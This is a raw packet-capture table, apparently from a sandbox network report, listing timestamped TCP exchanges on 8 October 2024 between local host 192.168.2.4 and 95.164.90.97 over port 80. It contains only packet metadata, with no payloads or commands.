Oct 8, 2024 02:45:31.605901003 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.605918884 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.605935097 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.605950117 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.605963945 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.605982065 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.605994940 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.606014967 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.606023073 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.606046915 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.606064081 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.606079102 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.606090069 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.606112003 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.606122971 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.606147051 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.606153965 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.606189966 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.606257915 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.606290102 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.606317043 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.606322050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.606331110 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.606379032 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.606421947 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.606455088 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.606472015 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.606487036 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.606498957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.606519938 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.606532097 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.606554031 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.606560946 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.606585979 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.606599092 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.606621027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.606637001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.606653929 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.606667042 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.606687069 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.606703997 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.606720924 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.606749058 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.606753111 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.606761932 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.606786013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.606796980 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.606817961 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.606828928 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.606851101 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.606859922 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.606884003 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.606893063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.606916904 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.606928110 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.606961012 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.607343912 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.607412100 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.607414961 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.607448101 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.607460022 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.607481003 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.607498884 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.607512951 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.607528925 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.607547045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.607558966 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.607580900 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.607590914 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.607614040 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.607624054 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.607646942 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.607656956 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.607680082 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.607691050 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.607712030 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.607729912 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.607744932 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.607758999 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.607778072 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.607810020 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.607810020 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.607820988 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.607842922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.607862949 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.607876062 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.607897043 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.607907057 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.607939005 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.607953072 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.607970953 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.607973099 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.607983112 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.608005047 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.608058929 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.608211040 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.608242989 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.608259916 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.608275890 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.608287096 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.608308077 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.608314991 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.608339071 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.608350039 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.608371019 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.608382940 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.608405113 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.608419895 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.608438969 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.608458042 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.608472109 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.608483076 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.608505011 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.608510017 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.608545065 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.608556032 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.608702898 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.623078108 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.623111010 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.623142958 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.623150110 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.623178005 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.623181105 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.623181105 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.623207092 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.623238087 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.623259068 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.694164038 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.694216013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.694236994 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.694250107 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.694269896 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.694300890 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.694303036 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.694334984 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.694367886 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.694386959 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.694400072 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.694433928 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.694458008 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.694483042 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.694506884 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.694541931 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.694575071 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.694600105 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.694652081 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.694683075 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.694703102 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.694715977 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.694734097 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.694749117 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.694777966 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.694782019 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.694812059 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.694816113 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.694832087 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.694849968 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.694866896 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.694886923 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.694897890 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.694921970 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.694937944 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.694968939 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.695084095 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.695115089 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.695132971 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.695147991 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.695162058 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.695182085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.695195913 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.695214987 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.695245028 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.695245981 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.695275068 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.695278883 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.695297003 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.695314884 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.695328951 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.695349932 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.695369005 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.695382118 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.695403099 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.695440054 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.695450068 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.695489883 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.695522070 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.695550919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.695584059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.695585966 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.695616961 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.695616961 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.695626974 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.695651054 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.695684910 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.695714951 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.695744038 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.695905924 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.695938110 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.695952892 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.695971012 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.695985079 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.696005106 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.696018934 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.696039915 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.696048021 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.696073055 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.696084023 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.696106911 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.696115971 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.696140051 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.696155071 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.696173906 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.696190119 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.696206093 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.696223021 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.696239948 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.696255922 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.696273088 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.696289062 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.696306944 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.696320057 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.696341038 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.696357012 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.696372986 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.696387053 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.696404934 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.696419001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.696439028 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.696455956 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.696474075 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.696487904 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.696508884 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.696516991 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.696561098 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.696669102 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.696701050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.696721077 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.696734905 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.696759939 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.696768045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.696778059 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.696818113 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.696820974 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.696866989 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.696876049 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.696902037 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.696913004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.696935892 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.696945906 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.696969986 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.696979046 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.697001934 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.697020054 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.697033882 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.697052002 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.697067976 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.697079897 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.697101116 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.697122097 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.697134972 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.697146893 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.697168112 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.697177887 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.697200060 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.697215080 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.697233915 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.697242975 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.697268009 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.697290897 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.697302103 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.697313070 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.697345018 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.697726965 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.697760105 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.697779894 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.697793961 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.697803020 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.697827101 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.697843075 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.697859049 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.697879076 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.697892904 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.697907925 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.697926998 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.697941065 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.697958946 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.697976112 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.698013067 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.698045969 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.698079109 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.698096991 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.698111057 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.698127031 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.698144913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.698158979 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.698179007 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.698190928 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.698211908 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.698230982 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.698245049 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.698261976 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.698277950 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.698291063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.698309898 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.698328018 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.698348045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.698359966 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.698379993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.698393106 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.698411942 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.698426962 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.698458910 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.698666096 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.698698044 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.698726892 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.698730946 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.698738098 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.698765993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.698779106 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.698798895 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.698816061 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.698832035 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.698848009 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.698863983 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.698879957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.698896885 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.698919058 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.698930979 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.698961973 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.698983908 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.698993921 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.699017048 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.699027061 CEST	80	51293	95.164.90.97	192.168.2.4
